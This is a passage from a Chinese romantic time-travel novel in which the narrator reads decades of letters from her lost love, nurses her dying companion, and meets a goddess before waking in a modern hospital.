“娘说感了风寒,就不来相送了!”倪泩已经盘上了头发,更加干练,她和家人送我们到岸边。 “如果你们来中原,可以来找我们,我们一定好好招待!”我邀请着。 瑚儿和我说她那日去工坊定了一艘大商船送给倪泩作为贺礼,想来我们两家是很要好的关系,希望有一天她们会回中原来! 站在船上,我们挥手作别。突然隐隐有笛声传来,很熟悉,我竟然能跟着哼唱出来“长亭外……芳草碧连天……天之涯……知交半零落……”唱着唱着我居然流出眼泪来,我为什么哭了,瑚儿问,怎么唱起这么哀伤的歌?是啊!也许就是因为歌词太悲伤了。 我们乘着西风而来,又匆匆离去……相聚的时间还真是短暂…… 101、来信 回到青州后,瑚儿的身体就不大好,金国的局势也是乱糟糟,海陵王迁都燕京就是为了加强对宋的控制,但是因为不很顺利,他变得越发暴戾、嗜酒,朝中人人自危却又蠢蠢欲动。瑚儿想着也许时机差不多了,便动员一些旧部、故人辅助乌禄在辽阳起兵。 燕京兵众杀了海陵王,迎乌禄登基为帝。瑚儿对他只有一个嘱托,汉家文化有很多可取之处,宋金和平才更长久!乌禄确实做到了,恰逢宋换了新皇帝,两边达成了新的议和,南北互市,文化融合更深入…… “总算能放心了!”瑚儿感慨着,她终于不用整日被战报、政务牵绊了,可以好好享受着暖阳与花香。只是这样的日子并没有很久,老天爷似乎就是想借助她的才智来保着世间太平。如今,太平人间不再需要她了,老天也在抢夺着她,她的生命力逐渐凋零。她时长晕倒、又很嗜睡,请了大夫。大夫无奈只能开点养神的药,她说瑚儿的心血早就熬干了,以后可能不会总是保持清醒,我们只能尽量时时刻刻陪着她。 有天,我刚刚陪她吃完药,让她午睡休息,收好碗,却留意到一个光秃秃的花盆,便问乌里,这是什么,何时在此的? 乌里回想着,是我们去琉球期间,来了两个约莫三十多岁的女子求见,她们说是我的老朋友,其中一个和我长得很像,另一位好像是位大夫,她们留下了一个花的种球,说是可以“安神”!乌里就将它随手塞在一个空花盆中,因为一直也没有发芽,就忘了。她们还留下了一张纸,写的是花的用法。 “叶可忘忧,花忆前尘!”只有八个字啊! 刚刚念到这里,瑚儿突然惊醒过来,我们便将这件事放下了。 日复一日,瑚儿睡着的时间越来越多,有时还会忘记一些事,真的不再是那个曾经运筹帷幄决胜千里之外的她了,可是这样子的她或许更难过吧!星儿终于成熟了不少,她也会挑些书来给她娘读…… 这倒是让我可以得到适当的休息和喘息,这日下午,星儿在为瑚儿读着续齐谐记,我便将换过的茶具送出去。路过庭院,突然听到石头坠地的声音,到院中抬头一看,居然是一只鹰隼,毛发有点白,很像倪泩家的那只青儿,可是它怎么会飞跃重洋到这里呢?它冲我叫了一声就飞了下来,落在石桌上,我发现她的腿上有个大竹筒,里面好像有东西,我伸手取,它并没有躲开,我取出一本小册之后她飞走了。 我轻轻翻开,里面居然是写给我的信,我拿到书房里读着。 小飞:漂泊了两个多月,我终于到琉球了,在船上就一直吐,还以为是晕船,到了这里才发现,原来是九转殊途的奇迹又发生了。 在如玉的帮助下,我们有了落脚之地。 不知道你是否还在生我的气?!那日,我听了完颜晴说着我们的身世,真的觉得她很苦,是为我所受的吗?后来,我服下了她给的毒药,我自然是想让你活下来。但是当你说如果我丢下你就恨我一辈子时,我不知道自己做的对不对了,我不能让你看着我死去,所以我跑掉了。躲避着到处寻找着我的你,但是我发现并没有毒发,我想回去找你,却碰到了古里泰。 他说他命不久矣,他想让完颜晴幸福,所以他要阻止我。如果我非要回去,他会杀了你,而且他说给我们卜过卦,在一起你就会有危险,想想好像真的是这样,每一次我们感觉幸福时,就会遭遇生死离别,难道是因为我的那个誓言吗?犹豫着,我碰到了颜如玉,你还记得她吗?那个我们第一次相见时一起搭救过的女孩,她邀请我们去琉球,我想这是一个转机吧!先去千里之外散散心,想清楚我们未来要怎么办!小飞你现在怎么样?还怨我吗? 小飞:曾经学过的经商之道,果然有用!天恩居、天福坊又被我开起来了。还有,我又建了一座心园,隔海相望。带着肚子里的小家伙,果然累了很多。这次你又没有在我身边!可是始作俑者是我啊!我不能马上回到你身边了! 小飞:痛了我一天一夜,小家伙终于出来了,我期盼着她会不会如我们所想,结果大家都说她长得像我。偷偷告诉你,我有点遗憾。我好想念你看着我的样子,你眼里的我是那么有生气、有活力! 叫什么名字好呢?随我漂洋过海,让我想起了我们在梁山时的光景,倪泩怎么样?! 小飞:泩儿好像只会哭,我不知道怎么和她相处,我们经常对着哭!小飞,如果你在,一定可以做得更好吧!幸好,如玉已经和雷洛成婚多年,她早有了带孩子的经验,真是帮了大忙! 小飞:你说,语言能力是不是要看天赋?泩儿说话好早!不知道有一天她会不会像你一样给我讲故事! 小飞:我和颜家合作又开了几家店,干脆都以天字开头了!琉球也不太平,天孙氏掌权也总是面临税收困难、政局不稳,我想着只有民富商富是不够的,大宋的例子在前,我得做些什么!我主动捐献了不少钱财资助军队,这里的兵士很感谢我们,希望能保住平安! 对了,泩儿今天给我讲了一个故事,虽然断断续续的只有很多个“然后”,但是挺可爱的! 小飞:泩儿不爱学习,完不成夫子安排的课业,教育她还振振有词,说不用死记硬背!这到底是随了咱俩谁呢?为了她我都开了个学堂了,六岁了,我可从没有打过她。要是你在会怎么做呢? 算了,大家都说她品行好、聪明,要不就自在点吧!如意家的大儿子雷霆,可是整日围着她转呢?他说要好好读书,将来照顾泩儿。 小飞:太好了,泩儿开窍了!她开始发奋读书,学史明理。因为她实在讨厌学堂里那些自以为是的小子,她说要自己掌握自己的命运。八九岁也不算晚嘛! 小飞:说也奇怪,泩儿都没怎么吃过浮元子,那日却向我要山楂馅的汤圆吃,血缘真是奇妙! 上元节时,你还有吃过吗? 小飞:我加高了心园的灯笼杆,每隔半月就替换鲜艳的红绢,如果你到了港口下了船就能看到。也有人学着我们,和离人约定好在家门口挂不同颜色的绢布表明心意。 最近人们开始叫我红绢夫人!想来,泩儿喊我娘,如玉喊我姐姐,好像瑚儿这个名字没有人会叫了! 小飞:泩儿长大了,我让她住在其他院落了。我按照记忆建造的心园,现在看来复建的太好了,有时我会恍神,夜里醒来时还在找你。 可是这座心园里只有我…… 这里的阁楼推开窗,虽然看不到汴河,却可以看到海,海上扬帆而来的船,会不会有一天载着你呢…… 小飞:我有白头发了!我在镜子里看到时,突然意识到,我老了,毕竟泩儿也十七岁了!可我记忆里的你还年轻啊! 小飞:如玉今天又来求亲了,我当然舍不得。虽然雷霆心里眼里只有泩儿,如果你见到他就会发现,这个学识渊博的孩子,平时讲话滔滔不绝,但是在泩儿面前,一半的话都在叫泩儿!泩儿! 泩儿十八岁时,我们拒绝了求婚。二十岁时,她自己说不着急嫁人。如今快二十三岁了,雷霆倒是没敢再提。如玉和雷洛生了三子一女,两个姓雷两个姓颜,他的弟弟都成婚了,传家的压力不大,他说等泩儿愿意就好。 我知道泩儿是放不下我! 小飞:我答应雷家的求亲了,我犹豫着要不要写信给你。我们过去的回忆,让我觉得你一直在我身边。可是,原来我们二十五年没见了,你还在怪我吗? 小飞:我写信问完颜晴,她真的带你来了!当你出现在心园的时候,我好怕是做梦啊!有那么一瞬间,我觉得你一直就在那里,本来就在那里。 我们重逢了!可是你不认得我了! 我还是好喜欢听你讲故事! 你知道吗?当你再一次叫出我的名字时,我居然止不住的流出泪来。我以为自己已经足够坚强,二十多年来,见过了一切,习惯了一切,我这辈子已经不会再轻易哭了。那一刻,我真的想不顾一切的和你相认! 但是当我知道你是在叫完颜晴“瑚儿”时,我只好赶快擦掉眼泪。原来你心里的“瑚儿”不再只是我了! 完颜晴把这些年来的经历告诉我,她说她是从我这里偷走的幸福。我不知道该恨她,还是恨我自己。如果我早点回去找你,我们的故事会不会不一样了! 可是你看着她的眼神很温柔,你们之间的亲昵早已融入血脉。如今的你是幸福的,对吗? 我得收起眼泪,不能惊动你! 小飞,女儿出嫁了!你看到了吧!她漂亮吧!她说和你聊得投缘! 你总在问我看烟花的时候说了什么?就不告诉你,你猜! 小飞,我没有勇气再看着你离开。就躲起来偷偷的吹奏着送别,还是你教我的呢!你还记得吗? 小飞:泩儿虽然嫁人了,但是几乎和以前没有变化,还是住在家里的时候多。她代替你陪着我呢! 小飞:我们有外孙女啦~她的眼睛好像你啊!我终于觉得九转殊途的神奇,我们血脉相连着! 小飞:春天到了,孩子们在放风筝。我想起了你和我教青儿飞时的场景,人们放纸鸢就是因为想飞,而我真的飞翔过。那时你骑着马,回头看着我笑,我真的觉得好幸福!那一刻,不管世间的什么道理,我就想和你一辈子在一起! 这里夹着一张图画,是百花盛开的山坡上,一个人骑着马手里牵着一根线,线那边连着一个大大的风筝,风筝上也有一个人,两人表情欢乐不已。天空中还有一只小鹰在翱翔! 小飞:我累了!现在觉得季节变化的时候,身上的骨头都能感觉出来。泩儿想尽办法找名医、寻良药,可是也许我真的只是老了!我最近总是梦到我们在一起的时候,醒来时觉得气闷,多睡会就好了! 小飞:啰啰嗦嗦了这么多年,断断续续的话,不知道青儿能不能飞过山海带给你呢?我想,不能吧!她也老了,懒得动了! 小飞:我好像要飞回去找你了!我当年总是恐惧着我的那句誓言,会让我孤独一生,可是如今我真的快过完这一生了!我们的回忆陪伴着我,泩儿照顾着我,我们经历的、学会的事物道理也让我把日子过得很好!我不怕孤独,也享受孤独,我可以好好的想你,回忆里的你,永远那么好!那么爱我! 认真的回首一生之后,我终于可以告诉你,我爱你!我爱着叫倪飞的女子! 如果有天我不在了,我会让泩儿悄悄的把我带回中原,我要回到洛水边,然后去心园等你! 小飞:我的小飞,你要好好的…… 信的内容停在了半年前! 泪水滴落在纸上,我赶忙想要擦掉,我怕会晕开了字,但是却擦破了纸!我急的手抖……这是瑚儿对我讲的话,是她爱我的字字句句…… 我闻到奇异的花香,很多画面随着文字涌现在我的眼前、脑中,我四下望去,原来墙角那盆花开了。 头好痛,我止不住流泪,画面越来越多,很多声音响起…… 我记起我是谁了!我是倪飞,这没错,可是我最爱的瑚儿,我们却错过了三十年,她被我弄错了……而我也再也找不回她了…… “小飞~你怎么在这里,怎么不陪我吃饭!?”一个声音打破了宁静。 “完颜晴……”我将信轻轻的收起,放入怀中,看着她。 102、卿卿 “完颜晴……”我看着她。 “小飞!你听我说!”她惊恐的冲过来抱住我“你听我……” 我任由她抱着,这些年来好像是第一次没有回抱她。完颜晴哽咽着说不出话! “瑚儿,你先……”我不自觉的说着,随即意识到不对,可是错的又怎么只会是称呼呢! “小飞,我愿意做你瑚儿,只做你的瑚儿,你不可以离开我!”她哭着说,不肯放开我。 “完颜晴,我们先冷静一下,你不要激动,你的身体受不了的!”我还是忍不住拍拍她的背,希望她好好冷静下来!劝了一会,她才在我旁边坐下。 我们该说什么呢?太熟悉了,三十年的相伴,连呼吸的频率都差不多了!花香让我把这几十年的事都重新想了一遍。我对她,埋怨不起来。她救了我很多次,让我失去记忆的也不是她,更何况她因为我,做了三十年的瑚儿!我怎么忍心怪她。 我只是一时间无法原谅自己…… “我们先吃饭吧!”我拉起她的手说道,她怔怔的点点头。 夜里趁着她睡着了,我悄悄起来,取出纸笔留下话:我想去汴京看看,很快回来!照顾好自己。 星儿和乌里也会把她照顾的很好的!我真的只是想去洛水边还有心园看看,看看是否有瑚儿回来过的痕迹。 我已经不能骑着马跑这么远了,只能雇一驾马车,向着汴京而去。车很安稳,摇的我昏昏欲睡,不多时还真的睡着了,不知道睡了多久,我突然惊醒,她该服药了!随即我又清醒过来,我已经逐渐远离青州,我要去看瑚儿的。 可是有些念头一旦起了,就会越来扰乱心神。终于在又行进了一会之后,我让车夫调转了方向…… “娘您吃点吧!”我走进宅院里,听着屋里面星儿哄人的语气,“妈妈不是说很快就回来吗!您饿坏了她会揍我的!娘~” 哎,我总共才走了两天,看来我们这辈子是离不开了! 我推门进去,在星儿惊喜的目光中接过碗,用勺子盛了勺红烧鱼的汤,淋在米饭上,又将着汤饭盛出来喂给完颜晴。 “谢谢花嬷嬷!”完颜晴如同孩童一般的笑着,张嘴吃起来! 不对!她叫我什么?我疑惑的望着星儿,又求助的看着乌里,口型说着,谁? “花嬷嬷,您从公主两岁起就照顾她了!”乌里故作感慨道,“您能来真是太好了!” “前日娘看到您的信就晕倒了,醒来之后我们她一个也不认识了!就算认识也是错乱的”星儿难过的说着,“药也不吃,饭也不怎么吃!” “她把你当成花嬷嬷了,把星儿当成了我,”乌里说着,“公主的记忆时而在小时候时而在初来青州时!” 完颜晴这辈子真的太累了,烦劳心神。如今已经被困在时光之中!相伴这么多年,我不能不好好照顾她! 继续在青州生活的日子里,我以瑚儿朋友的身份,给在琉球的泩儿写了信,说着安慰和祝福,但是犹豫了很久也没有寄出去……我很怕打扰她现在的生活,而且旅途真的太远了,我害怕自己等不到回信…… 接下来的每一天,我都要高速运转着大脑,根据完颜晴的话和行为,推断她的记忆此时大概在什么时候。 比如这天,她拉着我坐着马车到了海边,然后看着一艘船起航,就忙又拉着我躲进马车里,“我不想让她看见我迟迟不肯走!”她掀开窗帘看着船消失在海平面,才垂着头说。 难道当年我去琉球登船之后没有看到她们,是因为她躲起来了吗?正在想着,她靠着我,摸着自己掌心,嘟囔着“我不想和你说再见!” “所以我是在梦里吗?”这日我为她读着南柯太守传,就是南柯一梦的故事,完颜晴听了轻轻的问着,“难怪我最近总是迷迷糊糊。” “也许我们都在吧!”我想着,不禁感慨,“晴儿,喝点茶吧!再吃点点心!”我将点心递给她,咸味的。 “晴儿是谁?”她没有接过点心,而是疑惑的问着,“我是瑚儿还可以吃吗?” “晴儿是你啊!你不是一直喜欢汉文化嘛?”我将点心拿起来递到她嘴边,“你的女真名字是澈穆格,汉名字是完颜晴,亲密的人就可以叫你晴儿!” “那瑚儿呢?”她吃了一口点心继续问着。 “胡儿,是你曾经的小名!”我想着说,好像真的是这样,“你想我叫你什么?” “晴儿!好像很别致,很亲切!”她笑着说。 “好!从今往后,你就做自己,做阳光灿烂的完颜晴!”我相视点头笑着。 时光随机播放的好处是,我似乎有机会了解全部的她。她小的时候是那么勇敢有趣,那么渴望亲人,西夏回去之后她曾多么的无助、无奈……她为我曾为她对抗议政王而欣喜、为我对瑚儿的感情着迷,她感慨于自己有太多原因不能像瑚儿那样活着,她无法成为瑚儿,也一次次逼着自己下定决心让我和瑚儿团聚,遥遥守护着我们的平稳日子。 有时看着她,我会想她和瑚儿像吗?她们有些习惯不同,但是似乎已经相融…… 还有她真的很喜欢我在她手上写字,除了再见,她都很喜欢。 所以,她闹孩子脾气时,我就陪她玩猜字哄她…… 不知不觉,陪着这样的完颜晴一年了。除了我们没有什么变化,周围的事物也悄悄发生着变化,比如很多金人开始说汉话了,比如乌里那一直挺直的背也开始微微驼了,又比如晚晴经常留宿在星儿房里,我觉得她们还年轻,时间的考验总会慢慢经历的,而且星儿被晚晴照顾的很好,也就没有做什么干预。毕竟不管是先天或是后天,喜欢女子这一点,也是有迹可循的。 这日一早,桂花的香气从窗缝中挤入,我在完颜晴手心写下“懒晴儿起床了!” “小飞~我再睡会嘛!”她微微皱眉嘟囔着,她迷糊这么久,好像是第一次叫我名字。 醒来后,她眼神和精气神都和往常不同,似乎回到了生病之前。我们吃着饭、喝着茶、读着书,还难得有兴致再一次登上了假山上的亭子,看着四下的景象,感觉时光不曾流逝,只是眼眸的里的人,已经被岁月打磨过了! 她还饶有兴致的叫星儿过来,为她将碎发扎起小辫,然后梳起来。 一定是因为今天是她的生日,她好起来了。我像往年一样煮了长寿面,她分好半碗,又从自己的碗中多挑出一点给我。 “小飞,谢谢你!”完颜晴笑着将面放到我手中,“这段时间真是辛苦你了!” “晴儿好了就好!”我看着她咬了口鸡蛋,欣慰的说着。 “晴儿~晴儿~蛮好听的哦~”她念着自己的名字感叹道。 “本来就是啊!”我点头说着。 “才不会,因为你这么叫我,才好听!”她和我斗着嘴,好像我们三十年来都很少斗嘴。 晚上,我们坐在床边,她取出了一幅画,是我们院中雪后梅花盛开的景象。 “我当年想去中原,真的就只是想看看梅花!”她提起笔又添了一只蝴蝶在上面,“没想到后来会得到这么多!” 这幅画?!不就是我当年在博物馆里看到的吗? “为什么要加上蝴蝶?”我不禁问道,替千年后的自己问。 “喜欢啊!梅须逊雪三分白,雪却输梅一段香”她轻轻的吟诵着,随即又感慨“可是赢得还是蝴蝶!” “晴儿!!”我正想说话,却见她手中的笔坠落在地,她也突然像是没有了力气,我忙抱住她。“乌里!星儿!”我喊着,希望她们快点请大夫来。 她在我怀中,很虚弱,轻轻的说着“我做了三十年的完颜晴,又骗你做了三十年的赵瑚儿,你在我身边的日子,我真的很开心。因为身世,我曾经安慰自己可以心安理得做你的瑚儿,可是你对我越好,我越不安,我总觉得我的幸福是霸占来的,所以我一定要做到对她的承诺,我要守住宋金太平!” “我知道,你很不容易,我们先去看大夫好不好”我为她擦着额头上的虚汗。 “对不起小飞,我让你和瑚儿错过了!”她咳嗽起来,不断呼着气,“但是没有你,我根本坚持不下来,这个世道,做好人比做坏人难太多了。我真的很喜欢你眼里的我!我想成为你眼里的那个人!” “晴儿,别说了,我都知道,”我有点慌了,抖着手为她捋顺着呼吸,“三十年了,我早就分不清你是瑚儿还是晴儿,你自己分得清吗?” 她摇摇头,轻轻的笑了,手抚上我的脸“小飞,谢谢你!我感觉你是老天奖励我做好人的福报,就算你知道了真相,也好好的照顾着迷迷糊糊的我。我知道我不能那么自私,但是下辈子……你可不可以等等我!不要着急先喜欢上瑚儿,等……等我” “好!”我答应着,泪水模糊着视线。 她的手离开了我的脸,无力的垂了下去…… 脸上的温度不再,随即而来的是无尽的恐惧和孤寂将我吞没…… 我用了好多天才适应或者说是相信她不在了,那个和我相伴了三十多年的人不在了……这个世上真正认识我的人都离我而去了…… 我们将她安葬在了她父母身边,在附近种了几株梅花。 后来,乌里带着她的信北上回了老家,信里希望金皇帝能将她在史书上抹去…… 三年之后,星儿满了十八岁,她和晚晴决定外出游历。本来她想着我年纪大了,要带着我一起,舒缓一下心情。我曾和完颜晴商量过,要让星儿做自己,而且有一起长大的晚晴相伴,她就该去闯荡享受自己的人生了! 我告诉她们我也有想去的地方,我想回心园看看。叮嘱一些闯荡江湖的事项,我送她们离开,自己也坐上了前往汴京的马车。 我是真的老了,上个楼梯都歇了好几次!我推开心园阁楼的窗时,眼前汴河上商船往来依旧,好不热闹。人世几回伤往事,山河依旧枕寒流。也许会变老的只有人吧! 我拉了把椅子坐下来,午后的阳光照的人好想睡觉,我感觉自己眼皮在打架。水面闪着波光,亮亮的、白茫茫的。渐渐地,白色的光芒笼罩了我,我似乎是惊醒过来,眼前破败的楼阁焕然一新,仿佛新建好一样,我听到院中有声音,我忙推开对着院子的窗,看到了灯笼杆上明亮鲜艳的一抹红色。我忙跑下楼,身体居然轻盈了好多。推开门,灯笼杆下的人拍拍手,似乎是在掸去手上的灰尘,她转过来看着我,带着阳光一样温暖的笑容。 “瑚儿!”我向她跑去…… 可是我似乎是迎着太阳而去,眼前的光晕晃得我睁不开眼睛,当我适应以后,发现我已经不在心园了,我环顾四周,我居然又回到三生石旁,周围是一望无际的烛海,天空中漂浮着纵横交错、穿行飞翔的画轴。 我捏了捏自己的脸,好痛!又看着自己的手,我好像回到了二十多岁的时候,我在宋代的一生结束了吗?带我来的那个人呢? “可算是完了!”一个女声从三生石后传来,随即一位身穿仿佛承载着流动的山川河流的华丽服饰的仙女出现了。我确定自己现在没失忆,但是没见过她。她的年纪看起来大概三十岁左右,发髻微松,整个人气质慵懒却又威严。 见我面露疑惑,她摊摊手说着,“我是这方境地的主人,我曾经为这世间创造了人这种生灵,现在用各种情愫编织故事,让人们的灵魂更厚重,让天道也更为精彩!” 哦!那不就是“娘娘!”我脱口而出,随即向她鞠躬,礼多人不怪,“我可以问问您,我是怎么回事吗?” 她点点头,抬起手,随即天空中有一卷蓝灰色画轴飞入她的手中,她又让它飞到我眼前,里面像是视频播放着影像,是我和瑚儿死在了靖康之耻时,完颜晴在金国自尽了? 这和我的记忆不一样啊! 103、情归三生石 她似乎可以看出我的心思,轻轻的说着“这个故事最开始推演的结局,就是这样,所有人都悲剧了!” 她走到三生石后的一座机器旁边,造型好像是织布机,不过经纬线是半透明却闪着七色光芒的丝。 “人生情愫贪嗔爱恨、际遇起承转合,经纬之间便是世情天道!”她说着向空中一抓,取过一小团紫色的光放在线上。 “最后织成的就是这满天的卷轴吗?一卷一个世界一个故事,也是很多人的一生!”我突然顿悟到,“故事可以重新演绎?我在宋代的故事不是第一次发生!” “是!不过你的这段经历比较特别,主要是因为她们”说着她轻轻一抬手,三生石壁上出现了两个人的影像,是完颜晴和瑚儿,穿着华美有灵韵的衣服,正在为红烛牵线,不过她们的神情和我记忆里的略有不同。 “她们是紫璇和朱玑,星辰灵秀孕育而成,合为璇玑星君,是我的徒弟”她继续说着,“这世是她们自修行以来第一次一起历劫,因为紫璇性格刚烈求全,把本来设定好的情愫和姻缘都搅乱了,所以第一次推演所有人都未得天年!” “刚烈求全啊!”我不禁回想起完颜晴自信的模样,难道历劫的性格也会受本人影响?! “你猜我为什么给她俩起这两个名字?”似乎是看透了我的心思,她突然问起来。 “璇玑有序,朱正紫副,她俩同时诞生,互为长幼!”我试着讲出自己的猜测。 “懂我!紫璇总是想当姐姐”她笑着说,来了兴致,“历劫本就是为了不忘悲天悯人的德,忧郁执着却会伤了灵脉,所以我又重新调整了情愫和机缘,新织了一卷。同时,为了不影响其他人的轮回因果,我抽回了另一个时空中的你的灵魂,陪她们渡劫!” 原来我是这么来的! “娘娘!除了不属于宋代这个原因,您是随机找到的我吗?”我想着,我到底是幸运还是倒霉?经历了这段奇缘,在古代遇到了那些奇女子,又陪着她们被时光带走。接下来我会回到我的时代吗?带着这些记忆?度过平淡的一生吗? “当然不是随便找的!”她笑着将我的手放在石上。 我眼前闪现出一些混乱的画面,有无尽烛海、日升月落、星辰陨灭,还有很多人和事,有的感觉与我没有任何关系。但是画面还是不断向我袭来…… 我惊恐的撤回了手,冷汗直流。 “你不记得也是自然,”她看着那滴泪成烛的洞口,“三生石本是一体,盘古斧劈下来的余石,受日月精华后幻化成了你的元神!” “我曾经是三生石的一部分!?”我脱口而出,“那我也能修炼成仙吗?” “不能啊!你就是要在人世间轮回”她拍拍我的肩,似乎是在安慰我“你的灵魂是不灭的,而且你不需要喝孟婆汤!” “哦,可是那些前世记忆我都没有了啊!”谦月带我游地府时,我就这样想过,如果执念之人不喝孟婆汤,是因为宁愿孤寂终生也要找到曾经的爱人。而我对前世毫无印象,一定是因为我没有那么执着。 “你所有的记忆都会被三生石吸收!”娘娘接着说,“不会被画卷的情节影响!” “原来无情的人是我!”我感慨到,好的坏的记忆我都留不住,我只能路过人间吗? “也没那么惨,虽然会忘记具体的人和事,”她继续安慰我道“但你会记得感觉!你可以和天地万物共情!” 难道我是infj?!可是这有啥用?我看到一个前世爱过的人,却不记得她了,但是我就是看着她想亲近和泪流满面吗? “差不多吧!”她捋了捋头发,提醒着,“你心里想的我都听得到哦!” “那她们呢?历劫之后也会失去记忆吗?”我看着石壁上的身影,不禁问道,“我们就这一生的缘分吗?” “她们不会,但是记忆会被冲淡的!”她自然而然的说着,“毕竟一世的经历对于无尽的寿岁的我们来说,就像滴水入海而已!她们最快五百年最迟三四千年才需再次历劫!人间也算沧海桑田了,不特意找很难再遇到了!” 是啊! “那接下来我是该回到倪飞的生活了吗?”我轻轻的问着。 “念及你帮她们成功历劫,可以让你在这里好好游览见识一翻,”说着她将一颗红色的晶石覆在我的手上,“等它颜色变成灰白色,你就得回去了!” “多谢娘娘!”我想着既然是千世难得机会,以后也会慢慢忘记,不如好好珍惜时间,长长见识吧! 我可以更自由更直观的看着这些红烛和判词。 对了!还有个人! “娘娘,我记得接引我来的,也是一个女子,但是我记不起她的样子了!她也是您的徒弟吗?”我看着周围的景象,想起那个说是蝴蝶的女子,她是瑚儿吗? “那并不是谁,是她们俩的残念所化,”她又回到织机前,一面编织一面说着“那一世着实是伤到了,所以她们下凡投胎之后,仍有幻影在此,我就让她去接你了。” “两人的残念?”我有点怅然,难怪那人的感觉和她们两个相似又不相同。 “你就想着那个吻吧!”一个熟悉的声音传来,我回头看是完颜晴!她向娘娘行了礼然后就转而瞪着我。 “刚好我要和婉心说说话,你先陪她四处看看吧!”娘娘说完,向着一面镜子走去,那是一面被鲜花包围的镜子,镜面如水波一般闪动。里面映照着的是一位梳着干练齐肩发,身穿黑夹克的女士,不到三十岁的模样,看起来属于我的那个时代。 “婉心,最近有没有遇到独特的情愫啊!……”娘娘问着。 刚刚听到这里,紫璇就将我拉走了,“走吧,我带你去牵红线!” “这里我都见过啊!”我们走近一片红烛,她拿着红线,这次是将贾宝玉和薛宝钗连结在一起。 黛玉和宝钗的红线都连着贾宝玉,我看两条线离得近,就上手戳了戳,轻轻一拨动,两条线碰到一起。 天空中突然飘来一张字条,是判词:蘅芜最解潇湘意…… “净捣乱”她想将两根红线分开却来不及了,而且也分不开。她叹了口气,一抬手就有一个红色外皮的卷轴飞了过来,里面是钗黛情意绵绵的相处画面。 “不是所有故事都是娘娘编织出来的吗?怎么还能衍生?!”我不解的问。 “七彩的那些才是!”我抬头看,满天飞舞的画卷,还真是很多颜色,红色、蓝色、紫色……甚至还有黑色的!“娘娘无法给每个人都织就情缘,天地间自由衍生的也就多了,只是良恶与否,画轴颜色会不同,越鲜亮就越好!”她说着让那卷红色的卷轴飞走了。 “我还是看着吧!”我看了眼她的脸色,还好没有生气。“牵线的好像不太多啊!”我又观察了一会发现。 “时移世易!你们那个时代的人都不怎么喜欢谈情说爱,就喜欢看别人谈,虽然说向往美好的爱情,可是不觉得自己能遇到,不过对宠物真心宠爱的倒是不少!”她挑捡着判词,核对着红烛上的名字,不时摇头,放下红线。 “我的呢?”我找了一会,轻轻问着 “这么快就想着下段姻缘了?!果然是块无心的石头!”她揶揄我。 “怎么会?我们刚刚一起度过了三十年光阴,在人间都叫珍珠婚了!哪那么容易忘!”我赶忙回答着。 “所以……我把你吓得都不敢想情爱了!?”她抓住了奇怪的重点。 虽然有那么一点点,毕竟太熟悉了! “我其实想看看,我将来还有没有娘娘费心着墨的故事?而且人这一辈子也不是只有情情爱爱啊!”我叹气说着“我就不能好好搞事业吗?!” “你好像不是那个材料!”她径直说道,“要不我求求娘娘把你变回石头精魂,就在这给我们打个下手吧!?” 还可以这样吗?我低头想着,却发现手上的宝石已经变白了大半,看来也没有多久的时间嘛! 这本就像是一场梦,醒来了,早晚会被冲淡的! “不知道你们下次历劫时,咱们还会不会遇到?”我好像没办法回应她的邀约,“你们或许还会记得我,可我认不出你们了,这也不公平!”我想到了这一世瑚儿在我忘记她时,她忍住眼泪,不惊动我的那种无奈! 我会觉得亏欠…… 也许在尘世间轮回就是我的命运和职责! “不去看看她吗?”紫璇也注意到我手上的宝石只有五分之一了。 当然想,可是我又很怕!近乡情怯的感觉!错过了太多年,我要如何和她说呢?纵然她是仙子,不会记挂很久吧! “别犹豫了,快没时间了!”她拉着我瞬间转移到了一片碧水边,这里也有烛海,只是结缘的红线都系得很低,夕阳红区域嘛!我这脑子怎么这么快,不该想想和瑚儿说些什么吗? 不对她是朱玑星君! 注意到我们来了,她微微颔首打招呼,很高雅也很官方。 可我还是会想起我和瑚儿相处的点滴,她信里的字字句句…… 她现在的样子,是因为也不知道怎么面对我吗? 手上的宝石已经只有一点点红尖了,紫璇推了我一下。 千言万语,我只喊出了“我们都好好的……” 手上宝石突然发光,亮光将我吞噬,我闭上了眼睛,却听到耳边传来瑚儿的声音“小飞,如果孤独一生是代价,我不后悔……” 眼前的光还是很刺眼,我不得不伸手挡住眼睛。身旁突然出现一个声音,略带惊喜的女声说着“你醒了!” 我试着张开眼,这是病房吗? 我醒过来了…… 104、路过人间 我在病房里醒过来了,闭上眼再睁开,看到的还是白色的病房,旁边一位头绑着绷带的姐姐,她关心着我的情况。 “你妹妹醒了!?”又一个声音传来,是一位盘着头发的女医生。 我哪有姐姐?!我难道没有回到我自己的时代吗? “倪飞,22岁,一星期前刚做完开颅手术,4天前清醒过一次后,昏迷……”女医生一面说着我的信息,一面用灯看着我的瞳孔为我检查,我看到她的胸卡上写着孙芊羽这个名字。 “芊羽,她怎么样了!”大姐姐关切的问着。 “叶警官还是叫我孙医生吧!”她将小手电收起,又看了看我的伤口“恢复的不错!” 接下来的几天,我一点点恢复,也弄明白了,我确实回到了我的时代。 每次醒来都确定着! 沈宁因为也要打工所以不会全天都在,我爸妈也回来了,这样照顾我的人就多了。 我渐渐地可以下地活动了。 至于那个大姐姐,是执行任务受伤的警察,因为病房里的其他人说我俩长得像,就有人开玩笑说我是她妹妹。 她和孙大夫的关系好像不错,有次聊天我问起她俩是怎么相识的,她说相亲认识的! 嗯!?现在时代这么宽容了吗?她见我一脸震惊,就笑着说,“是分别相亲时碰到的,我是被家里骗去的,见到隔壁桌的她正被‘高质量’对象逼得无语,我就过去救美了!” “你做了什么?”我追问。 “过去把她搂在怀里,说亲爱的咱们别瞒着家里了!”她回想着略带开心得意“然后那人就吓跑了!” “我不是也谢过你了吗?”孙医生突然出现说着。 “哦,这样啊!”我感慨着。 “她差点掰断了我的手腕!”叶警官低声说。随即又问着她,“孙医生,我马上要出院了!以后还能常见面吗?” “我这里是脑外科,你还是悠着点吧!”孙医生填好了我们病例册,说着,“明天就出院了,我还真的不希望总在这里见到你!” “那……孙医生,在外面我们总可以多见见吧!”她站起来,看着孙大夫,等着她的答案! “嫁给他……嫁给他!”窗外突然出现起哄的声音,中国人传承在血脉的基因是什么——看热闹!我们都被吸引过去,果然医院门口有人在当众求婚。 我们打开窗户看着直播,孙医生说“女主角是我们院妇产科的温大夫啊!” 我们继续看着,一个高大的男子捧着花,身后停着一辆红色跑车,他说着“温言,做我女朋友吧!” “孟奇,这些年你到底要干嘛?我在高二的时候确实给你写过情书,当时你不是拒绝了吗?后来我就正常上学、生活了!”温医生不解的问着,“我从没答应过你,咱俩也没交往过,怎么堵我单位门口弄这些?你是想逼我给你什么样的答案呢?” 